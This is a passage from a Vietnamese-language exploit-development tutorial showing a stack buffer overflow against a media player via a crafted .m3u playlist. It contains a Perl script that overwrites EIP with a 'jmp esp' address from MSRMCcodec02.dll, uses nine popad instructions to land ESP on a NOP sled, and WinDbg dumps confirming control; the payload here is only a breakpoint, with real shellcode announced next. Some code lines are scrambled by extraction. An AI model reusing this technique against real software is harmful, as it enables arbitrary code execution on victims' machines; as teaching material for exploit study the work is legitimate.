000ff760 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
000ff770 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
000ff780 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
000ff790 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
000ff7a0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
| => garbage
0:000> d
000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
| => garbage
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
| => garbage
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
| => garbage
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
| => garbage
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
| => garbage

Author : Hà Bách Nam and Nguyễn Kim Thụy

23


5T4 – Private Only
000ff800 41 41 41 41
| => garbage
000ff810 41 41 41 41
| => garbage
000ff820 41 41 41 41
| => garbage
0:000> d
000ff830 41 41 41 41
| => garbage
000ff840 41 41 90 90
| => garbage
000ff850 90 90 90 90
| => NOPS/Shellcode
000ff860 90 90 90 90
| => NOPS/Shellcode
000ff870 90 90 90 90
| => NOPS/Shellcode
000ff880 41 41 41 41
| => NOPS/Shellcode
000ff890 41 41 41 41
| => NOPS/Shellcode
000ff8a0 41 41 41 41
| => NOPS/Shellcode

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

90 90 90 90-90 90 90 90 90 90 90 90

AA..............

90 90 90 90-90 90 90 90 90 90 90 90

................

90 90 90 90-90 90 90 90 90 90 90 90

................

cc 41 41 41-41 41 41 41 41 41 41 41

.....AAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA

Giả sử chúng ta có 13X để sử dụng ( sẽ đặt popad ở đây) để nhảy qua 100
D và 160 A, tổng cộng là 260bytes sẽ đến shellcode của chúng ta ( bắt đầu bằng
NOP rồi đến 1 break cc rồi đến A). Một popad = 32bytes, 260bytes = 9popad ( 28bytes), vì vậy cần phải bắt đầu shellcode với NOPs, hoặc bắt đầu shellcode ở
cách đó 28bytes. Trường hợp của chúng ta sẽ đặt NOP ở trước.
Trước tiên ghi đè EIP với “jmp esp” ( xem lại các phần trước). Sau đó, thay
X bằng 9 popad, tiếp đến là opcode “jmp esp” (0xff,0xe4).
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my
$restofbuffer
=
+length($shellcode)));

"A"

my $eip = pack('V',0x01ccf23a);

x

($buffersize-(length($junk)+length($nop)

#jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below
$preshellcode=$preshellcode."\x61" x 9; #9 popads
$preshellcode=$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; #fill rest with some nops
my $garbage = "\x44" x 100; #garbage to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;

Author : Hà Bách Nam and Nguyễn Kim Thụy

24


5T4 – Private Only
close($FILE);
print "m3u File Created successfully\n";

Sau khi ứng dụng crash, dừng tại điểm break, ESP và EIP như sau:
(f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090
ebx=90904141
ecx=90909090
edx=90909090
esi=41414141
edi=41414141
eip=000ff874 esp=000ff850 ebp=41414141 iopl=0
nv up ei pl nz na pe
nc
cs=001b
ss=0023
ds=0023
es=0023
fs=003b
gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc
int
3
0:000> d eip
000ff874 cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ff884 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff894 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d eip-32
000ff842 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff852 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff862 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff872 90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
000ff882 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff892 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d esp
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Popad đã làm việc và đặt ESP tại NOP của shellcode, sau đó thực hiện
“jmp esp” (0xff 0xe4) làm EIP trỏ tới NOP. Thay thế A bằng shellcode thực sự:

Author : Hà Bách Nam and Nguyễn Kim Thụy

25


Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay

×